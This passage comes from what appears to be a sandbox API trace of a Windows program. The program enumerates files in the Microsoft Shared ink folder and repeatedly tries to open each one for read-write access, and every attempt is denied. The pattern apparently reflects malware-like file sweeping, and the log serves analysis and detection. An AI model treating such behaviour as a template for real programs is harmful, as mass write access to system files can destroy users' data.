nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0086.420] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.420] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0086.420] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0086.420] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0086.420] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0086.420] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.422] GetLastError () returned 0x5 [0086.422] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0086.422] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat") returned 63 [0086.422] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.422] GetLastError () returned 0x5 [0086.423] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0086.423] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat") returned 65 [0086.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.423] GetLastError () returned 0x5 [0086.423] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0086.423] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat") returned 62 [0086.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.426] GetLastError () returned 0x5 [0086.426] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0086.426] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0086.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.426] GetLastError () returned 0x5 [0086.426] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0086.427] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0086.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.427] GetLastError () returned 0x5 [0086.427] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0086.427] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0086.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.427] GetLastError () returned 0x5 [0086.427] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0086.427] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll") returned 61 [0086.427] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.428] GetLastError () returned 0x5 [0086.428] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0086.428] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll") returned 61 [0086.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.428] GetLastError () returned 0x5 [0086.428] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0086.428] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0086.428] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0086.428] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0086.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.429] GetLastError () returned 0x5 [0086.429] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0086.429] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml") returned 61 [0086.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.429] GetLastError () returned 0x5 [0086.429] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0086.429] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml") returned 61 [0086.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.431] GetLastError () returned 0x5 [0086.431] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0086.431] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0086.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.431] GetLastError () returned 0x5 [0086.431] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0086.431] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0086.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.432] GetLastError () returned 0x5 [0086.432] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0086.432] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml") returned 61 [0086.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.432] GetLastError () returned 0x5 [0086.432] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0086.432] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0086.432] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.434] GetLastError () returned 0x5 [0086.434] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0086.434] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml") returned 61 [0086.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.434] GetLastError () returned 0x5 [0086.434] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0086.434] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll") returned 69 [0086.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.435] GetLastError () returned 0x5 [0086.435] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0086.435] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml") returned 61 [0086.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.435] GetLastError () returned 0x5 [0086.435] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0086.435] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml") returned 61 [0086.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.437] GetLastError () returned 0x5 [0086.437] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0086.437] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml") returned 61 [0086.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.437] GetLastError () returned 0x5 [0086.437] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0086.437] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61 [0086.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0086.438] GetLastError () returned 